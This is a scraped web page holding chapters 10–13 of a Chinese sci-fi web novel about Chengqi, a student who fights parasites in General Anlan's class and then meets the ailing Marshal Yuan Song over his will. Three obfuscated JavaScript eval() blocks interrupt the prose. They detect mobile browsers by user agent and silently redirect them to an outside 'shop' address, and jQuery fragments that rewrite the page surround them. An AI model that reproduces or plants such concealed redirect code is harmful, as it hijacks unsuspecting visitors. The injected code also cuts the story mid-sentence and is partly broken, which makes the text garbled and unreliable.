$(''.inform'').remove(); $(''#content'').append('' 上半身和下半身,脑袋是长的,光溜溜,然后从脑袋下面,前面后面就长满了长长短短的触手。 再到下半身,又变成了光溜溜的,只有两条粗壮的触手勉强当做它的双腿。 澄栖看着它的触手晃来晃去,陷入思考。 好灵活,一定有神经吧,神经都有了,血管还会没有吗?毕竟触手,也是手。 她在地上断掉的半截触手上踩了一脚,发现触手的截面,确实渗出来些和表面腐蚀性粘液不一样的液体。 拼了!澄栖转头,对着安澜说,“再踹我一脚。” 安澜二话没说,满足了澄栖的愿望,一脚又把她踢到寄生虫的脑袋上,还是有些生气,语气里透露出些恨铁不成钢, “早想清楚不好吗,白白挨第二脚。” 澄栖愣了一下,不知道安澜为什么要这么说,但这时候也容不得她多想。 澄栖一个翻身又挂到“腐蚀”脑袋后面的触手上。 腐蚀害怕安澜什么时候又给它来一刀,挣扎得越加用力,澄栖死死抓着它的触手,闭上眼睛感受着它身体里血液的流动。 终于找到了,独属于寄生虫“腐蚀”的血管走向。 再睁开眼睛的一刹,澄栖不知道自己的眼睛,又散开,变成流动的白色,安澜换了个姿势,把正对着她视线的那个方向挡住。 幸好,没过多久,澄栖的眼睛就恢复了正常。 “腐蚀”突然觉得自己身体里的血液好像不太对劲,慌张的情绪让它有些暴躁。 它将这一切都怪到身后的这个小人身上,于是一不做二不休,整个身体干脆向后倒,试图将澄栖压死,可不知道为什么,澄栖似乎能够预判到它的动作,它倒下的那一瞬间,她突然从“腐蚀”的后背跳到了它的前胸。 她手里的枪顶着它心脏地方,连续开枪。 澄栖的想法很简单,腐蚀也是需要时间的,她能找到它的心脏,对着心脏开枪,哪怕一颗子弹会被腐蚀,但是两颗,三颗,四颗呢。 腐蚀在地上剧烈挣扎,一秒,澄栖神色平静地一颗子弹一颗子弹地继续开枪。 五秒,挣扎减弱了,澄栖的枪还没有停, 十秒,腐蚀产生了一阵低频的颤动,然后,彻底没有生机。澄栖终于从它身上站起来。 终于死了,澄栖狠狠松了一口气,再不死,她的脚底板都要被腐蚀掉了。她看着自己的鞋底,被腐蚀得只剩下薄薄一层。 “酷啊!” 有学生逃跑着看见她击杀腐蚀的全部过程,跃跃欲试地看着安澜,“安澜将军,我也要挨踢!” 安澜扯了扯嘴角,随了他的意一脚把他踢到另一只“腐蚀”脑袋上。 前人栽树后人乘凉,他学着澄栖的样子也抓住了“腐蚀”脑袋后面的触手,摇晃着躲避它的攻击,等它主动往后躺。 然后,等到了寄生虫的背往墙上靠。 同学:不,不是应该躺下来吗?然后他会手一翻,帅气地踩到它的心脏上,砰砰砰开几枪,完成反杀。 这只寄生虫,竟然不按照这种剧本来! 他的脚抵在墙上,大叫救命。 澄栖双手捂住了自己脸,实在不忍心看。 安澜黑着脸在最后关头把他从寄生虫和墙面之间的狭窄距离中拉出来。 一出来,他直接晕了过去。 看到他的情况,原来不少想要被安澜踢一脚的学生,都默默放弃掉了自己的想法。 “那个,澄栖同学,不然,你再让安澜将军踢一下?” 澄栖同学杀寄生虫看起来挺容易的。 澄栖无力地沉默了。 什么叫再让安澜踢一下,说得轻轻松松,她的屁股不疼吗?! “求求你了!再试一次,我们想看清楚你到底是怎么做到的。” 澄栖黑着脸,不情愿地走到安澜面前。 安澜得意,“早说了,挨踢不是什么坏事。” 10. 苏醒 “来吧!”澄栖深深吸了一口气,做足心理建设。 这时候安澜却摇了摇头,抢过她手上的枪。 澄栖还没来得及疑惑,安澜把自己惯用的长刀按在她手心上。 “这把枪不适合你,你先用我的刀,它不会被腐蚀掉,把三只一下解决掉,你能做到吗?” 三只一下子解决掉?澄栖觉得手里的长刀实在烫手,但看着安澜的目光,也不敢把刀还回去,犹犹豫豫问,“我应该能做到吗?” 安澜果然脸又黑了,一脚把澄栖踹走。 真疼啊,比之前两脚都要疼。澄栖龇牙咧嘴地倒吸一口凉气,还顺手把长刀塞进空间扣了。 她已经轻车熟路抓住了吞噬脑袋后面的触手,感受着血管动向,找到独特的频率。 “这是在干什么?怎么眼睛还闭上了?” “莫非是独家绝技?” “那我一会儿要闭眼不?” 突然间,澄栖动了,她闭着眼睛躲过了腐蚀一次又一次触手攻击。 “?” “她眼睛,真的闭上了吗?” “远古人类传说里,有人有三只眼睛,澄栖同学不会也有三只眼睛吧,哈哈。” “她完美避开了腐蚀每一次攻击,这已经不是多一只眼睛的事情了,怎么感觉像预知?” 全场只有安澜满意点头,还好,不算太笨。 可是澄栖此刻却和面前这一只腐蚀陷入了胶着。 看似是她提前躲过腐蚀的攻击,但只有她自己知道,腐蚀根本就没有攻击她的欲望,它的情绪一直很稳定,一点都不像在攻击的时候会产生的,就好像只是甩着触手逗她玩。 而且,澄栖也没找到腐蚀接下来有其他动作的倾向,它到底想要干什么? 就在此时,另外一只腐蚀悄悄来到澄栖身后,它的动作轻,就连身上的黏液淌到地上的频率都减慢,澄栖依旧闭着眼睛,一动不动。 他们之间的距离越来越近了,近到另一只腐蚀只要一伸头,就能咬死澄栖。 学生们惊恐地眼睛睁大,嘴里发出破碎的音节,想要开口提醒澄栖,却被安澜一个眼神制止住。 安澜冷眼看着澄栖的状态,还差一点,就差一点。 背后的腐蚀已经敞开它布满獠牙的大嘴,黏稠的唾液滴滴答答落下来,而后,一口朝澄栖咬去。 闭着眼睛的澄栖瞬间动了。 她在脑海里回想着安澜借力跃起的动作,一脚踩在试图咬她的腐蚀脑袋上,在空中一个后翻身,落到它的后背。 而这只腐蚀因为动作太急,惯性地咬到了另一只腐蚀的后背。 两只腐蚀叠在一起。 就是现在! 澄栖的眼睛睁开,瞳孔像潮水一样流淌晃动,她看见了,腐蚀心脏的位置,还有,全身的血管。 安澜的长刀瞬间出现在她的手上,她从腐蚀后背一刀穿过去,穿破了它的心脏。澄栖继续发力,长刀穿透它的身体,刺进了和它叠在一起的另一只腐蚀的身体里。 澄栖角度一斜,又穿破一颗心脏。 这一连串的动作太险太快,好像所有人都没有来得及反应,包括澄栖自己,包括被刺穿的两只寄生虫腐蚀。 直到腐蚀发出尖锐刺耳的叫声,停滞的气氛才开始转动。 澄栖把刀抽出来,跳到地上,腐蚀巨大的身体倒下了,差点砸到她,她往旁边退了好几米才躲开。 回头,地上的腐蚀溅起尘灰,但再也没有任何动作。 真的死了,一下子死了两只。 大家在远处为澄栖鼓掌,惊叹的声音不绝于耳。 这可是高级寄生虫啊,就这么轻易死掉了! 澄栖抬头,本想向大家鞠躬表示感谢,然而下一刻,眼前一花,天旋地转,她也倒在地上,丧失了意识。 安澜神色一变,连忙把人捞起来,手往她额头上伸,瞳孔竟然和澄栖感受寄生虫血管动向时一模一样,变成一片潮水涌动般的白色。 “安澜将军,她没事吧?”学生有些担忧。 安澜的瞳孔迅速恢复正常,回头对着开口的学生微笑,“没事,力竭晕过去了。” “那就好那就好,咳咳,那个,既然都有同学晕过去了,那我们的课,是不是可以结束了?” 安澜笑容不变。 学生们觉得很有希望,打算继续请求。 安澜没有让任何人有开口的机会,抱着澄栖,剩下在她面前的学生,一脚一个,全部踢到腐蚀身上挂着。 有学生反应过来开始逃跑。 安澜将军手里还抱着人呢,应该追不上他们,他们现在赶紧跑,说不定就能挨到下课了! 然后一抬眼,就看见安澜像鬼魅一样站到了他们面前,还来不及刹车呢,就被踢飞了。 这群小兔崽子终于清晰的认知到,将军,就是将军。 最后一只腐蚀终于在众人合力下杀死。 安澜收了几只寄生虫尸体,还算满意地抱着澄栖离开了,只留下一群在地上一边默默流泪一边粗声喘气的学生。 不上了,再也不上了,安澜将军的格斗课。 —————— 澄栖昏迷的时候做了一个很长的梦。她梦到自己变成了一团黑色的雾,被关在四周充斥着电流的小盒子里。 那个盒子顶上有一个巨大的灯,昼夜都把小盒子照得像白天一样。 一根巨大的针头从顶上的灯中心伸进来,她想从针头旁边逃出去,结果一接触到天花板,就被电得满身糊味。针头依旧往她身体里伸,然后抽出满满一管血。 一团雾竟然会有血,也是稀奇。 澄栖痛得不行,满地打滚,被四周的电电得噼里啪啦,电得她剧烈抽搐。 浑身一抖,澄栖突然醒了。 她迷楞看着天花板,没有刺眼的巨大灯泡,只有柔和的阳光照在天花板上。 看久了,澄栖总觉得,自己好像有点分不清现实和虚幻了。 “终于醒了?先吃点东西?” 澄栖扭头,看见站在床边的安澜。 她出窍的灵魂瞬间弹回身体里面了。闭上眼睛默数三秒,再猛然睁开,发现安澜还站在床边。 好了,原来不是梦。 澄栖这才反应过来,周围的环境全是陌生的,她在别人家里,睡着别人的床。 想也不用想这是谁的房子了。 “睡几天把脑子睡坏了?” “……没。” 澄栖的脑子开始缓慢复苏了。 “安澜将军,我睡了几天?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060403|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“三天,快三天半了,现在下午五点,你起床吃点东西,晚上还能睡个回笼觉。” 那倒是不必,澄栖觉得自己恐怕是睡不着了。 “对了,这三天你不在学校,何希南给你打了两次通讯,我接了一次,说你在学校昏迷,跟我在一起。” “哦,他什么反应?” “无语了吧?”安澜回忆起来何希南长久的沉默,她都以为他要愤恨发火,嘲讽两句,结果居然没有。“他说让你醒了给他回通讯。” ”行。” 澄栖打开自己的手环,果然看见两通通讯记录,第一次没接,到最长时限手环自动挂断了,第二次,有五十秒的通讯记录。 她回拨过去,几乎是瞬间,那头的人就接通。 “夫人?我是何希南。” “嗯,是我。” “夫人和安澜在一起吗?” 澄栖的眉头微微皱起,有些不高兴,她都能猜到何希南后面打算放什么屁了,又是让她远离安澜那种话。 “嗯。”她淡淡从鼻腔里发出来一个字。 “听说夫人在学校晕倒了?夫人好好休息。” 澄栖:“?”这是太阳打西边出来了? 她怀疑得拿着手环看了一遍,确定自己拨通的是何希南的通讯,而不是什么何希北何希东的。 “你有事求我?”澄栖想,也只可能是这个原因了。 那边沉默片刻,回答,“抱歉,夫人,我那天不应该拿枪对着你,我愿意为我的错误负责。” “我已经主动申请去苏格星前线了,接下来如果夫人有什么需求,别墅已经安排了管家先生,我稍后会把他的联系方式发给您,再次为我的过错向您道歉。” “没事我就先挂了,祝您晚安。” 澄栖心中的疑惑越来越大。 何希南不对劲。他敢在元帅夫人逃跑时拿枪抵着元帅夫人的头,敢在元帅夫人接近元帅时拿枪对着她,很难相信这么一个元帅毒唯,会真诚的向她道歉。 他到底是迫于什么压力? 澄栖没有猜错,何希南确实是迫于压力。因为她离开的第二天早上,输了她一袋血之后,原颂又醒了一次。 看着输液架上空空的血袋和手上的针头,原颂还有什么不明白的。 “让何希南滚过来。” 彼时何希南脸上的巴掌印都还没消下去,站在原颂的病床前,沉默。 “我记得我第一次醒,就说过,不要给我输血。” “元帅,我不认为我做错了,如果不输血,您会死的。” 原颂语气平淡,“那就去死。” 原颂死了,他体内的寄生虫会彻底占据这具身体。 他的遗言早就留好了,到时候会把身体连带着身体里的寄生虫全部交给研究院。 原颂知道体内的寄生虫级别非常高,研究完这一只,人类对付寄生虫的办法,绝对能再进一步。 何希南低下的头双眼通红,咬牙回应,“夫人被联邦送过来,本来就是为了稳定您的病情。” “你真相信,联邦是知道她的血液能压制住我体内的寄生虫才把人送过来的?” 难道不是吗?何希南愣住。 原颂疲惫的揉了揉眉心,“澄栖呢,我要见她。” 11. 第 11 章 何希南面色复杂,说话吞吞吐吐,“可能……不太行。” 原颂:? 听完整件事情的始末,连他都不由得迟疑了片刻,看着何希南脸上还没消下去的巴掌印,对见到澄栖的期待又提高了一层。 好硬气的态度,挺有意思的,他当年都没有那么大的脾气。 原颂笑出声。 “元帅,我——” 原颂打断他,“道过歉了?” “没有,我给夫人打过两次通讯,是安澜接的,夫人在课上昏迷了,现在和安澜在一起。要不要,把夫人带回来?” 他们一直怀疑安澜和害原颂昏迷的叛徒有关系,只是苦于找不到证据,现在她和澄栖在一起,不知道又要弄出来什么幺蛾子。 原颂沉默了,看着何希南皱眉。这么些年,他也是头一次才发现,何希南好像缺一根筋。 “你想和安澜动手?” 动手这个词说得委婉,安澜一身臭脾气能混到现在这个位置上,哪怕是原颂,都不得不承认她的实力,非常强。 何希南,刚刚被澄栖打了没长教训,现在又想被安澜打一次? “属下愿意一试。” 别试了,真的。 “何副将,你有多久没有上过战场了?” 何希南不知道为什么原颂突然问这个问题,他立刻回想。 不算太久,可能快一年。这一年一直在主星上处理各方面的事情,才一直没有上过战场。他带着疑惑,如实回答。 原讼点点头,说,“苏格星爆发的寄生虫还没有解决,你提交申请去那里镇守一年。主星的事情,移交给秦叔。” 秦叔是从小照顾原颂的管家,因为年龄大了,原颂早早打发人去各个星球旅游,而现在却把人召回来,何希南不知道自己那里做错了。 是不应该那样对澄栖?所以就要把他换掉? 原颂:“是。” “为什么?她只是联邦不安好心塞过来的人而已,就算是元帅夫人,但是,但是……” 原颂叹了一口气,拉开被子,缓缓从病床山走下来,逼何希南低下头。 “何副将在主星呆久了,是不是已经忘了,我们是联邦的军人,不是翻云覆雨的政客。不管澄栖的身份是什么,你不该用枪对着一个无助的同胞。” 澄栖是个屁的无助的同胞! 但是何希南不敢反驳。 “好的,元帅,我会主动申请去苏格星的。” “嗯,把秦叔的联系方式给她,我会等她回来。” 时间转回澄栖醒的那一天。 她神色复杂挂断通讯,想破脑袋也没想出来何希南是抽哪门子风,态度这么真诚友善。 “怎么了?”安澜问她。 “没什么,我想回去了,谢谢安澜将军的款待。”澄栖摇摇头,没有将何希南的事情透露给安澜。 她又不傻,何希南不可靠,难道安澜就可靠了吗。 安澜没在意她的隐瞒,还好心提醒她,“你缺了好几天的课,其他的我不管,但是我的格斗,缺了几节,都要统统补回来。” 澄栖觉得自己可以再昏过去一次,她现在就已经觉得天要塌了。 “知道了。”她有气无力地回答。 傍晚,澄栖在自己的出租屋里,果然收到了何希南发来的管家联系方式。 看头像是个头发花白的慈祥老人。 但这谁说得准呢,毕竟何希南表面上还看着人模狗样的呢。 为了不太冒犯,澄栖先发了好友申请过去,一秒通过。 她还没反应过来,对面瞬间几十条消息轰炸。 “夫人,我是元帅的管家,早就听说你……”以下省略一大堆字。 图片,图片×2,图片×8 “夫人,这是我特意给您留的旅游特产,是从……”以下省略一大堆字。 “夫人喜不喜欢……我也买了点。”消息×4。 “夫人缺不缺……听说这个东西很好。”消息×3。 ……省略×数不过来。 澄栖看着消息界面,很难想象,对面打字速度这么快的人,竟然是个老大爷。 她觉得,自己光是看消息,都要把眼睛看花了。 直到最后一条消息蹦出来。 “夫人,要不回来吃个饭?” 澄栖看着这一条,竟然觉得松了一口气。 还好,总算有一条能回的了。 她在对话框输入拒绝的话术,管家的消息还在一条一条弹出来,图片里是各种准备好的食材。 算了。澄栖叹了一口气,把输入的内容全部删除,最后回了个“好”。 管家立刻欣喜地给她发了个时髦的表情包,欢迎她回家。 回完消息没过二十分钟,飞行器已经到了楼底下。 从飞行器里走出来的老头精神矍铄,穿着得体的礼服,皮鞋白手套,还带着一副金丝框的老花镜。 和澄栖小时候动画片里那种宫廷贵族的管家一模一样。 澄栖……澄栖有点不敢下楼,这也太有礼仪了,她有礼仪恐惧症。 管家带着几个穿着制服的人,一箱一箱往澄栖楼上搬东西。 场面之大,连安澜都被惊动了,打开门,安澜和澄栖对视一眼,又默契的挪开视线。 管家看见安澜,兴致更高,向安澜行了个得体的绅士礼。 安澜顿时后退两步,澄栖觉得她头发都要炸开,显然,不只是她一个人适应不来这种场面。 但是管家显然没有意识到,热情和安澜打招呼,“安澜将军,承蒙您关照夫人,在下为安澜将军也带了谢礼。” “不必。”安澜言简意赅,语速极快。 管家自动忽略,“区区小礼,不足挂齿。在下才旅完游回来,带了很多特产回来。安澜将军就当赏脸收下吧,听说这些东西对女孩子好,将军一定会喜欢的。” 安澜看着一脸笑意的老头,继续拒绝很像是在欺负老人。 “谢谢。” “我的荣幸。”管家瞬间激动了。 然后—— “安澜将军,这个你喜不喜欢……” “安澜将军,这个也很好……” “安澜将军,这个在下真心想要送给你……” …… 澄栖笑得趴在地上,还捂着嘴,不敢让声音发出来吸引了管家的注意力。 安澜额头上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060404|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青筋跳了又跳,原颂身边这个老头,怎么还是这么多话,真是,烦死人了! 她黑着脸直接走到澄栖面前,拎起来她的后衣领子,把她提到管家面前,“赶紧把人带走,我要睡觉了。” 管家看着被提后领子的澄栖,吓得眼镜差点掉,连忙回复“好”。 安澜是逃掉了,接下来澄栖就苦了,她从来没有见过这么能说话的人,整个路途,管家的嘴就没有闲下来过,澄栖听得有点头大。 偏偏对方每一句都在问候她,关心之意毫不掩饰,澄栖还不好意思打断他。 幸好飞行器速度快,澄栖迫不及待冲进别墅大门。 这绝对是她头一次这么渴望回到这个房子。 看着她如此迅速的动作,管家自动理解成她很喜欢这里,然后告诉她,可以把房产过户给她。 不了,真的受不起。 澄栖赶紧摆手。“先吃饭吧,管家。” 管家笑眯眯,“夫人可以叫我秦叔,他们都这么叫我。吃饭还要等一等,有两道硬菜没上,我先领夫人去二楼吧。” 去二楼?二楼不是元帅的治疗室? 澄栖有些迟疑。 秦叔笑眯眯看澄栖,像看后辈,“夫人别担心,有人在等你。” 谁? 澄栖的警惕心一下子就上来了。 元帅的父亲还是母亲? 网上收集到的消息是,元帅的父母都在其他星球旅居,他们终于知道元帅结婚的消息,赶回来了? 那他们见她就足够引起深思了,说不定是甩出一千万让她离开他们儿子那种。 澄栖可耻的心动了。 她深吸一口气,脑中还在不停演练一会儿见到元帅父母应该怎么表现才能拿到更多的钱,跟着秦叔上楼。 秦叔把她带到了二楼那个治疗室。 元帅呆的那间。 还是当着元帅的面谈,看来是很重视很急迫了,澄栖顿时觉得,金钱可能不止一千万。 “进去吧,夫人,我在门口等你。” “好。”澄栖在心里给自己打气,动作缓慢而坚定地打开了那扇通往财富的大门。 然后,没有看见元帅的父母,倒是本该在床上躺着的元帅,坐在了治疗室里的沙发上。 “初次见面,你好,我是原颂。”对方声音低沉而礼貌。 澄栖沉默,澄栖不太好。 原颂醒了,醒的真的是原颂吗?还是……寄生虫? “坐下聊聊吧。”原颂指了指自己对面的位置。 澄栖僵硬地走过去,屁股都只敢在沙发上坐一半。 她再也不敢肖想一千万了,她只期望自己今天能够活着从这里出去。 看出来她的紧张,原颂没有过多废话,当然,他的身体也经不起他过多废话。 木几上的遗产分配书推到澄栖面前。 “看看还有没有什么想要的,可以加。” 遗产?澄栖有些懵,猛然间抬眼看着原颂,不知道这是什么意思。 原颂看着她拘谨又惊讶的样子,有些好笑,向她解释, “我在前线受伤了,无药可救,接下来也活不了多久,总要先把身后事安排好。” 12. 第 12 章 这个身后事的范围里,当然也包括她了。 澄栖倒吸一口凉气。 她迟疑不决打开那份遗产分配,看完上面的东西,更是倒吸一口凉气,一下把文件合上了。 澄栖问,“真的假的?” 这可比一千万多多了。 “真的,有其他需求也可以提。” 澄栖从小到大哪里见过这种场面。怪不得何希南死心塌地跟着元帅呢,连她都要被迷惑眼睛了。 “可以问一下,为什么要给我吗?” 澄栖觉得,再怎么也轮不到自己身上的,要是她是原颂,联邦不安好心塞了这么个人过来,明晃晃是羞辱,她不迁怒已经很大度了。 原颂反而问她,“为什么不给?不是什么重要东西,只是一些钱而已,而你,夫人,为我争取了近两个月的缓冲时间,这些时间,足够解决太多事情。” 澄栖:…… 首先她表示很感谢,其次,她该死的又酸成柠檬了。 澄栖手里握着厚厚一沓遗产分配文件,深吸一口气,“元帅,我给您提个建议吧,你也别把这些给我当遗产了,你就当给我零花钱呗,我给你输血,不是有用吗?说不定就好了呢?” 澄栖话里也有些不太确定,她不知道到底能不能好,都输了一个多月的血了,寄生虫压制久了会不会产生耐药性?或者变异?就像水团那样。 但是她不太好问,如果问,就会暴露出来她知道原颂身体受伤的真实原因,那是个,她不应该知道的秘密。 原颂果然摇头,“你没发现,自己每次抽血的量都比上一次多,是想被抽成人干吗,夫人?” 没有任何办法。 不管是他身体里的寄生虫,还是澄栖的血,早就私下里检测了无数次,希望能做出来有效的抑制剂或者特效药。 可笑的是,不仅寄生虫的种类根本没有在任何资料上记载过,就连澄栖的血里,到底是什么成分在发挥作用都检测不出来。 原颂觉得,无用功也没必要继续做了。 澄栖听完他的话,沉默着把头低下来。 她知道,估计就是真的有耐药性了。到底是什么寄生虫这么厉害?澄栖有点心痒了,要是能弄到研究院检查一下…… “夫人?”原颂叫她。 澄栖浑身一抖,好像是被吓到了,睁大眼睛,“啊?”她就想想,不会真那么干的,叫她干嘛? “没事。”原颂看着被吓到的澄栖,很难将她和何希南嘴里那个嚣张跋扈的人联系在一起。 澄栖默默把那份遗产文件拿好,准备回去好好研究,“好的。” “嗯。” 澄栖突然觉得有点尴尬,总感觉好像在觊觎别人遗产一样,于是没话找话,打算表达一下对原颂的关系,“那个,您还有多久死?额,我是说,您还有多久能活?” 问完,气氛一下子凝滞了。 澄栖眉眼微微扭曲,恨自己为什么要没话找话,真对不起,她不是那个意思,她只是被金钱迷惑了眼睛。 原颂:他现在有点相信她确实有点嚣张了。 “也许还有一个月。” “哦,这样啊。”澄栖越说越觉得不对劲,这个语气,她自己都以为自己在表达失望。 索性也破罐子破摔了,“我真没希望你早点死的意思,其实我可以继续吊着你的命,万一哪天特效药就研发出来了?一个月抽三次血,如果你需要,我也可以接受。” 按照星际的恢复条件,一个月三次血还不至于死掉,最重要的是,她知道自己救的不是个白眼狼,还给她留了一笔下下下辈子也花不完的遗产,如果真看着人去死,她过不去自己心里那关。 原颂的视线和澄栖对视好几秒,澄栖平静看着他,表明自己的意愿,但最后对方却笑着摇头,“夫人,星际寄生虫学就业前景不错,好好读书吧。你这个年纪,最重要的事情就是读书了,至于其他什么,别瞎出主意了。” 这具身体能查到的年龄是十八岁,确实还在应该读书的年纪,但真的是不是十八岁,澄栖只想笑。 “接下来如果有什么需要,都可以告诉秦叔,他会帮你解决。” 原颂又病发了,额头上豆大的汗水淌下来。澄栖知道,估计是他体内的寄生虫在攻击宿主。 真是个狠人。 “其实……” “出去!” “哦。” 澄栖踩在地上,感觉不真实。 直到关上房门,看见秦叔反光的金丝眼镜框,才觉得灵魂被拉回来,原来,她刚刚真的是在和人商量遗产的事情。 “夫人,可以吃饭了。” “哦,好。” 秦叔接过澄栖手里的遗产分配书,笑容消失了一瞬,而后又重新恢复,只是状态到底是受了影响,人都变得沉默。 原来大家都已经这么平静地接受了元帅会死的消息吗? 好奇怪,为什么会这么平静呢。 “算了,秦叔,我有点吃不下。” “好的夫人,那我给您安排一下财产接收的事情?好几个星球都有产业,您可以趁周末去实地看看。” 得到澄栖的首肯,秦叔又忙前忙后的拨通讯,找时间,别墅忙成一团,澄栖坐在沙发上,突然觉得一楼和二楼好像成了两个被隔离的世界。 不管什么人遇到这种事情,心里多少都不得劲吧。 “嗯,确定一下时间。” “……可以开始准备。” …… “不用太张扬,核心层到。” “宴会?什么宴会?不去。” 澄栖回头看见秦叔瞬间黑掉的脸色,好奇问,“什么宴会?” 秦叔暂时挂断了对面的通讯,“皇室宴会,没安好心。” 他们的消息很快,他才通知三分之一元帅名下的产业准备转赠协议的事情,皇室宴会的邀请就联系上他了。 “皇室宴会?”澄栖想到什么,眼睛突然亮了,“我去。” “去?”秦叔也一下子愣住了。夫人是不是不知道,皇室的人很难缠? “秦叔,叫医生抽血吧,我还没参加过皇室的宴会呢,总要问问要怎么做。” 秦叔:? 原颂注射完镇定剂还没到三个小时,醒得莫名其妙。 眼睛睁开,看见了输液架上还剩下一半的红色液体,又有人给他输血了。 刚想发怒,转头发现澄栖坐在病床边拿着计算机和笔计本不知道在算什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060405|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你醒了?”澄栖面带微笑,“我算了一下,如果元帅死了,我的遗产需要先交一堆杂七杂八的税,然后还会缩水一大截,我想了一下,元帅还是得活着,我的钱才能有保障。” 原颂的眼睛眨了两下,看着澄栖,她说话真的挺难听的。 “而且我还发现一个好消息,不知道什么原因,你只输了半袋血就醒了,这应该说明,你的病情在好转。” 不是病情好转,是澄栖的血变得更有效果了,至于为什么,澄栖不敢深究。,但总得来说,这在当下是一个不错的消息。 原颂的视线从澄栖身上挪到旁边观察仪器的医生身上,想要获得确切的答案。 医生向他点头,表明澄栖说的确实没错。 “我应该支付你什么?” 澄栖觉得,跟聪明且懂回报的人交流简直她舒心了。 “一命换一命,如果元帅的病因为我治好了,我希望得到这样一个承诺。” 她对自己有一个很隐秘的怀疑,如果原颂答应,就相当于为自己提前拿到一块免死金牌了。 “好,我保证。” 澄栖笑得更加开心,“哎,其实把你吵醒,是因为周日晚上皇室有个什么宴会给我发邀请函了,我没见过什么世面嘛,想去看看,所以想问问你,我有没有什么地方需要注意的。” 澄栖把自己准备好的章程给他看,小到穿什么衣服戴什么首饰,大到应该跟安萨斯陛下交流,怎么应对各种不同的刁难,通通做了设想。 原颂半坐在病床上,看着澄栖的安排,不知道什么时候皱起了眉头。 “有什么问题吗?我可以改改,你放心,我一定会注意元帅夫人的身份,不会落人口舌的。” “不是。”原颂摇头。“没必要对他们这么礼貌,让秦叔给你调一队我的私兵带过去。” 现在这种时候,原颂难以想象澄栖参加宴会会遭到多少刁难,越礼貌,只会有更多人蹬鼻子上脸。 “诶?真的行?” “为什么不行?” 澄栖真的震惊到了,这么拽这么爽?! “宴会没什么好玩的,一堆人围在一起勾心斗角,时间还长,你有没有熟悉一点的朋友,让秦叔接人过来,两个人在一起,好歹还能打发打发时间。” 熟悉的朋友? 澄栖迟疑开口,“安澜将军?” 房东兼格斗课老师,应该算熟悉一点的人了吧? 原颂笑一声,语气微妙,“夫人,你还真会挑人,挑了个我叫不动的。” 澄栖很惭愧,她确实没有其他熟悉一点的人了。 总不能带秦叔去宴会吧。 “不行就算了吧。”澄栖不太介意,原颂连私兵都给她了,至少有眼色的人都知道什么意思,不会想不开来招惹。 要是真有想不开的,那到时候再说。 “行,不过就要夫人自己叫人了,我只能弄到邀请函。” “好的,安澜将军,应该是愿意的吧。”澄栖总觉得,安澜对她有一种莫名的善意的,一起去参加宴会,应该也不会拒绝吧。 不出意外就出意外了,安澜不仅拒绝,安澜还要气疯了。 “原颂醒了。”他绝对已经醒了。 13. 第 13 章 一醒过来就给澄栖一个下马威?让她去参加皇室的什么狗屁宴会?真是好得很! 偏偏那个蠢兮兮的死孩子听起来还丝毫没有不愿意的意思,她的脑子是已经被寄生虫吃干净了吗? 安澜很难不生气,既然这样,她要送原颂一份大礼。 澄栖看着挂了的通讯,觉得有些莫名其妙,安澜将军怎么突然就生气了?她有什么地方惹到她了?澄栖想了想,觉得不应该啊。 “怎么?”原颂问。 澄栖摇头,“没什么,安澜将军可能心情不太好。” “那就我一个人去吧,宴会而已,能应付。”澄栖自信回复。 原颂“嗯”了一声,没对她的决定多加干涉。 没话说了,两个人默默散了。 终于到了宴会这天。 澄栖回了一趟出租房,把水团捞走了。 本来想跟安澜将军打声招呼,问一下她为什么最近心情不佳,她没在家。 澄栖也没多在意,反正以后见面的时间还长,有时间问的。 宴会特地选了一个星罗棋布的好晚上,出席的人来得很多,除了皇族的人,还有好些接到消息,知道澄栖会去的贵族大臣。 联邦的消息不对外宣布,但澄栖的底细却没瞒过他们。元帅夫人是从下等星上来的,听说连书都没读过,被塞进联邦军校混文凭。 简直笑死个人了,联邦建国以来从来没有听过这么好笑的事情。 元帅的名声,真是被毁得干干净净。 “你们知不知道,前几天威什星上最大的矿场背后的主人变了。” 说话的男人手里端着酒杯,不急不缓吐出来一个惊人的消息。 威什星的矿场?那是元帅第一次在前线立功时陛下赐给他的,现在背后的主人变了,这里面值得思索的东西可就太多了。 这种时候改变财产属权,很难不让人怀疑,元帅已经熬不下去了。 真是……大快人心啊。 “那真是太可惜了,我一直期待元帅能够醒过来,前线需要这样的英雄呢。” “别笑了,被莉丝公主听见,你不怕她去陛下面前闹?” 说话的男人耸耸肩,无所谓,“今晚莉丝公主哪里来得及理我们,元帅夫人恐怕已经能够占据她全部的怒火了。” “那倒是,哈哈哈。” “那倒是什么?” 他们讲得太尽兴,连澄栖悄悄站在他们身后都没有发现。 